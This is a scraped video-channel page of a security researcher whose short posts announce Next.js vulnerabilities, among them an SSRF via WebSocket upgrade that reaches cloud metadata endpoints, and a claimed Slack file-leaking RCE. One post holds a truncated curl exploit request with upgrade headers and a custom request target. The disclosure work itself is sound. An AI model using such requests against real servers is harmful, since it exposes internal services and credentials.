Harsh Jaiswal's banner

Harsh Jaiswal

@rootxharsh • 27,725 subscribers

Co-founder and research @hacktronai | auditing at @cure53berlin | prev @zomato @vimeo @pdiscoveryio @httpvoid0x2f

Shorts

$Last week's Next.js stable release patches multiple vulnerabilities found by Hacktron AI CVE-2026-44578: SSRF via WebSocket upgrade. It is the most impactful of all, it lets an attacker read internal hosts such as cloud metadata endpoints on self-hosted next.js applications. curl -H "Connection: Upgrade" -H "Upgrade: websocket" \ -H "Sec-WebSocket-Version: 13" \ -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \ " \ --request-target "$

Last week's Next.js stable release patches multiple vulnerabilities found by Hacktron AI CVE-2026-44578: SSRF via WebSocket upgrade. It is the most impactful of all, it lets an attacker read internal hosts such as cloud metadata endpoints on self-hosted next.js applications. curl -H "Connection: Upgrade" -H "Upgrade: websocket" \ -H "Sec-WebSocket-Version: 13" \ -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \ " \ --request-target "

17,712 次观看

Videos

Anya Rossi

sweetdream.ai

SweetDream.ai•Sponsored•Livecam

Watch Anya Live

Anya is streaming live right now! Join her private show and enjoy exclusive content.

Exclusive private shows

1.2k viewers online

Private Show

Join now for exclusive access

Free preview available • Premium content

This affects huge number of applications, we will disclose technical details of every major company in coming weeks at . For example; Slack which is used by multiple AI companies and we could have leaked any user's uploaded files via our RCE.

This affects huge number of applications, we will disclose technical details of every major company in coming weeks at . For example; Slack which is used by multiple AI companies and we could have leaked any user's uploaded files via our RCE.

133,551 次观看 • 1 个月前

没有更多内容可加载